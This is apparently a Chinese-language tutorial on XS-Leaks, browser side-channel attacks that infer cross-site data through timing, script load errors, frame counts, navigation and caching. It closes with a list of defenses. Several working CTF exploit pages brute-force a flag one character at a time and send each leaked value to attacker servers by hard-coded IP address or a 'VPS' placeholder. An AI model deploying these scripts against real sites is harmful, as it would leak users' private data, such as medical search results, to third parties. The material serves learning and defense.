XS-Leaks 全称 Cross-site leaks,可以用来 探测用户敏感信息 。
设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=
,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。
XS-Leaks(或 Cross-Site Leaks)是一组浏览器侧通道攻击 。它们使恶意网站能够从其他 Web 应用程序的用户那里推断数据。盲注也是一种侧信道攻击,可以这么理解。
在此之前,我们需要先了解一下同源政策,正是因为它的存在,XS-Leaks才有出现的必要。
同源政策 https://medium.com/starbugs/%E5%BC%84%E6%87%82%E5%90%8C%E6%BA%90%E6%94%BF%E7%AD%96-same-origin-policy-%E8%88%87%E8%B7%A8%E7%B6%B2%E5%9F%9F-cors-e2e5c1a53a19
在开始之前,了解 SOP(Same Origin Policy)是很有帮助的,它是 Web 浏览器安全模型的核心和灵魂。这是一个或多或少说的规则:
同源政策是网站安全的基础。https://domain-a.com 只能访问自己网站里的资源(图片、视频、节目码等),不允许网站https://domain-b.com 来访问。想要访问跨源资源必须在某些特定情况下才被允许。
允许scheme、domain、port都可以被视为同源 (same-origin)
若以 https://domain-a.com:80/hannah-lin 做范例,我们可以据此判断下列是否为同源
1 2 3 4 5 http://domain-a.com → 不同源.scheme 不同 https://domain-a.com/mike → 同源 https://news.domain-a.com → 不同源.domain 不同 https://domain-a.com:81 → 不同源.port 不同 https://domain-b.com → 不同源.domain 不同
但是很多情况下网站明明就引入了很多跨来源的资源啊?
没错,在某些情况下跨来源是被允许的,不受同源限制策略!
像示例的<script src=”…”></script>
、<link rel=”stylesheet” href=”…”>
、<iframe>
、图片<img>
、<video>
、 或者@font-face
<object>
、<embed>
.等等都是跨来源嵌入。
可以在以太网上由<form>
在domain-a.com
发请求给domain-b.com
,当然利用链接链接或直接重定向到其他网站也是允许的。
domain-a.com
无法读取domain-b.com
cookie、XMLHttpRequest ,Fetch API 也无法被读取,会返回错误
通过定时攻击泄露 浏览器可以轻松地对跨域请求进行计时。
1 2 3 4 5 6 7 8 9 10 11 var start = performance.now () fetch ('https://example.com' , { mode : 'no-cors' , credentials : 'include' , }).then (() => { var time = performance.now () - start console .log ('The request took %d ms.' , time) }) #The request took 129 ms.
这使得恶意网站可以区分响应。假设有一个搜索 API 供患者查找自己的记录。如果患者患有糖尿病并搜索“糖尿病”,则服务器返回数据。
1 GET /api/v1/records/search?query=diabetes
1 { 'records': [{ 'id': 1, ... }] }
如果患者没有糖尿病,API 会返回一个空的 JSON。
1 GET /api/v1/records/search?query=diabetes
一般来说,前一个请求需要更长的时间。然后,攻击者可以创建一个恶意网站,对“diabetes” URL 的请求进行计时,并确定用户是否患有糖尿病。
通过基于错误的攻击 我们列表中的下一个侧通道是使用 JavaScript 策略性地捕获错误消息。假设一个页面根据一些敏感的用户数据返回200 OK
或。404 not found
然后,攻击者可以创建如下所示的页面,该页面查询应用程序并确定端点是否为浏览器用户返回错误。
1 2 3 4 5 6 7 8 9 10 function checkError (url ) { let script = document .createElement ('script' ) script.src = url script.onload = () => console .log (`[+] GET ${url} succeeded.` ) script.onerror = () => console .log (`[-] GET ${url} returned error.` ) document .head .appendChild (script) } checkError ('https://www.example.com/' )checkError ('https://www.example.com/this-does-not-exist' )
1 2 [-] GET https://www.example.com/ succeeded. [+] GET https://www.example.com/this-does-not-exist returned error.
个人认为这跟布尔盲注很像!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Error-Based Attack</title> </head> <body> <script> function checkError(url) { let script = document.createElement('script') script.src = url script.onload = () => window.open("http://101.43.48.199:8000/1"); script.onerror = () => window.open("http://101.43.48.199:8000/2"); document.head.appendChild(script) } checkError('http://0.0.0.0:8000/internal/search?s=nctf{') checkError('http://0.0.0.0:8000/internal/search?s=somethingwrong') </script> </body> </html>
接下来给出一个相关exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Error-Based Attack</title> </head> <body> <script> let currentFlag = "nctf{"; const chars = "abcdef0123456789-{}"; function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } function checkCharacter(char) { return new Promise((resolve) => { let script = document.createElement('script'); script.src = `http://0.0.0.0:8000/internal/search?s=${currentFlag}${char}`; script.onload = () => { document.head.removeChild(script); resolve(true); }; script.onerror = () => { document.head.removeChild(script); resolve(false); }; document.head.appendChild(script); }); } async function bruteforce() { try { while (!currentFlag.endsWith('}')) { for (let char of chars) { const isCorrect = await checkCharacter(char); if (isCorrect) { currentFlag += char; window.open(`http://VPS:8000/?flag=${currentFlag}`); await sleep(50); break; } await sleep(50); } } } catch (error) { window.open(`http://VPS:8000/?error=${currentFlag}`); } } bruteforce(); </script> </body> </html>
再来一个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <script> function probeError (flag ) { let url = 'http://127.0.0.1:8000/internal/search?s=' + flag; let script = document .createElement ('script' ); script.src = url; script.onload = () => { fetch ('http://156.238.233.113:8000/?flag=' + flag, { mode :'no-cors' }); leak (flag); script.remove (); }; script.onerror = () => script.remove (); document .head .appendChild (script); } let dicts = 'abcdefghijklmnopqrstuvwxyz0123456789-{}' ; function leak (flag ) { for (let i = 0 ; i < dicts.length ; i++) { let char = dicts[i]; probeError (flag + char); } } leak ('' ); </script>
通过帧计数泄露 https://xsleaks.dev/docs/attacks/frame-counting/
通过获取帧的句柄,可以访问该帧的window.length属性,该属性用于检索窗口中的帧数(IFRAME 或 FRAME)。
这种知识有时会产生安全/隐私影响。例如,网站可能会根据某些用户数据以不同的帧数呈现个人资料页面。
有几种方法可以获得窗口句柄。第一个是调用window.open,它返回句柄。
1 2 3 4 5 var win = window .open ('https://example.com' )console .log ('Waiting 3 seconds for page to load...' )setTimeout (() => { console .log ('%d FRAME/IFRAME elements detected.' , win.length ) }, 3000 )
另一种是对目标网站进行框架,并获取框架的句柄。
1 2 3 4 5 6 7 8 9 <iframe name="framecounter" src="https://www.example.com" ></iframe> <script > var win = window .frames .framecounter console .log ('Waiting 3 seconds for page to load...' ) setTimeout (() => { console .log ('%d FRAME/IFRAME elements detected.' , win.length ) }, 3000 ) </script >
这里给出相关比赛的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ' ;var charLen = chars.length ;var ENDPOINT = "http://challenges.fbctf.com:8082/search?query=" var x = document .createElement ('iframe' ); function search (leak, charCounter ) { var curChar = chars[charCounter]; x.setAttribute ("src" , 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar); document .body .appendChild (x); console .log ("leak = " + leak + curChar); x.onload = () => { if (x.contentWindow .frames .length != 0 ) { fetch ('http://myserver/leak?' + escape (leak), { method : "POST" , mode : "no-cors" , credentials : "include" }); leak += curChar } search (leak, (charCounter + 1 ) % chars.length ); } } function exploit ( ) { search ("fb{" , 0 ); } exploit ();
通过检测导航泄露 https://xsleaks.dev/docs/attacks/navigations/
检测跨站页面是否触发导航对攻击者来说很有用。例如,网站可能会根据用户的状态在某个端点触发导航。
为了检测是否发生了任何类型的导航,攻击者可以:
使用并计算事件被触发的iframe
次数。onload
检查 的值history.length
,该值可通过任何窗口引用访问。这提供了受害者历史记录中由history.pushState
或常规导航更改的条目数。为了获取 的值history.length
,攻击者将窗口引用的位置更改为目标网站,然后改回同源,最后读取该值。
通过浏览器缓存泄露 当用户访问网站时,这些网站的资源通常会被缓存并存储在用户的磁盘上,因此不必再次下载。这节省了带宽,降低了服务器负载,并改善了用户体验。
不幸的是,基于时间和错误的 xsleak 变体可以利用这一点并确定用户之前是否访问过网站。
缓存时间变化很简单,为请求计时,如果是瞬时的,则资源被缓存。
基于错误的版本稍微复杂一些。它利用了缓存资源从未从服务器实际请求过的事实。因此,对缓存资源的无效 HTTP 请求不会引发异常(因为 Web 服务器永远没有机会拒绝它)。
通过帧中的 ID 字段泄漏 https://xsleaks.dev/docs/attacks/id-attribute/
防止XS-Leaks 完全防止是不可能滴
使用 SameSite 属性保护您的 cookie。
使用 Content-Security-Policy 和 X-Frame-Options 来防止框架。
考虑使用 Cache-Control 禁用缓存。
使用 fetch metadata headers 和 Vary header 来防止缓存探测。
实施跨域开放政策。
实施跨域资源策略。
实施隔离政策。
参考文章:https://blog.csdn.net/allway2/article/details/126703565
https://www.cnblogs.com/starrys/p/15171221.html